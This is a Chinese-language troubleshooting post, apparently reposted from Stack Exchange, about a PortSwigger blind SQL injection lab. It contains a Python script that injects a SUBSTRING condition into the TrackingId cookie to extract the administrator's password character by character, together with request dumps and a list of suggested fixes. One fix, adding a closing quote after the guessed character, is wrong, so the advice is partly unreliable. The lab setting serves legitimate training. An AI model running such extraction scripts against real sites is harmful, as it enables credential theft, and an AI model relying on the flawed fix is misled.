PortSwigger盲注Lab：Python Requests返回403 Forbidden问题排查

我正在进行PortSwigger的基于条件响应的SQL盲注实验，在Burp Repeater中发送请求可正常执行，但用Python Requests自动化猜解20位管理员密码时，返回403禁止响应：

<html><head><title>Client Error: Forbidden</title></head><body><h1>Client Error: Forbidden</h1></body></html>

已复制Burp中的请求头和Cookie到Python代码，但请求仍失败，以下是相关代码和请求信息：

Python代码 #

import pprint
import time
import requests 
from bs4 import BeautifulSoup
from collections import OrderedDict

url =  "https://xxxxxxxxxxxxxxxxx.web-security-academy.net/filter?category=Lifestyle"
headers_string = """Host: xxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: redacted
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
"""
header_dict = OrderedDict()
for line in headers_string.splitlines(): 
    header, value = line.split(":", 1)
    header_dict[header] = value.strip("\n").strip(' ')


with open("payload.txt", 'r') as f:
    payloads = [i.strip('\n') for i in f.readlines()]


for i in range(1, 21):
    for p in payloads:
        cookie = f"TrackingId=xxxxxxxxxxxxx' AND (SELECT SUBSTRING(password, {i}, 1) FROM users WHERE username ='administrator')='{p}; session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
        header_dict["Cookie"] = cookie
        res = requests.get(url, headers=header_dict)
        print(res.request.headers)
        print(res.headers)
        print(len(res.text))
        print(res.text)
        print(f"Trying payload: {p} at position {i}")
        if "Welcome back!" in res.text:
            print(f"Found password character {p} at position {i}")
        time.sleep(102)
        print("=========================================================")

Python请求头输出 #

{'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36', 'Accept-Encoding': 'gzip, deflate, br', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Connection': 'keep-alive', 'Host': '0a9000d9049e1c2c80cc719600010093.web-security-academy.net/', 'Sec-Ch-Ua': '"Chromium";v="127", "Not)A;Brand";v="99"', 'Sec-Ch-Ua-Mobile': '?0', 'Sec-Ch-Ua-Platform': '"Windows"', 'Accept-Language': 'en-GB', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'document', 'Referer': 'https://0a9000d9049e1c2c80cc719600010093.web-security-academy.net/', 'Priority': 'u=0, i', 'Cookie': "TrackingId=8y60pwYvV2VwjwZm' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username ='administrator')='a; session=LOdCvKmB6g9uLyM0RKnaOqRewmSfZrm8"}

Burp请求头 #

GET /filter?category=Gifts HTTP/2
Host: xxxxxxxxxxxxxxxxxxxxx.web-security-academy.net
Cookie: TrackingId=xxxxxxxxxxx' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username ='administrator')='a; session=LOdCvKmB6g9uLyM0RKnaOqRewmSfZrm8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/filter?category=Gifts
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Length: 2

payload.txt包含a-z、0-9每个字符一行，希望手动用Python实现盲注自动化，请求排查403原因。

排查关键点及修复方案 #

• Host头末尾多余斜杠：Python请求的Host值末尾带/，而Burp中的Host没有。修改headers_string里的Host为xxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net（去掉末尾斜杠），服务器可能对Host头的格式做了严格校验。
• Cookie构造语法错误：Python生成的Cookie中，SQL语句部分末尾是='a;，缺少闭合的单引号，正确应该是='a';。修改Cookie构造代码为：

  cookie = f"TrackingId=xxxxxxxxxxxxx' AND (SELECT SUBSTRING(password, {i}, 1) FROM users WHERE username ='administrator')='{p}'; session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  

  （在{p}后添加单引号）
• Referer不匹配：Burp中的Referer是请求的具体路径/filter?category=Gifts，而Python中的Referer是根路径。需要将Referer修改为与请求URL对应的路径，比如如果请求的是category=Lifestyle，Referer应为https://xxxxxxxxxxxxxxxxx.web-security-academy.net/filter?category=Lifestyle。
• Requests自动添加Connection头：Burp请求中没有Connection: keep-alive头，可在header_dict中添加header_dict["Connection"] = "close"，避免自动添加的头被WAF拦截。

内容的提问来源于stack exchange，提问作者SAVEPALASTINE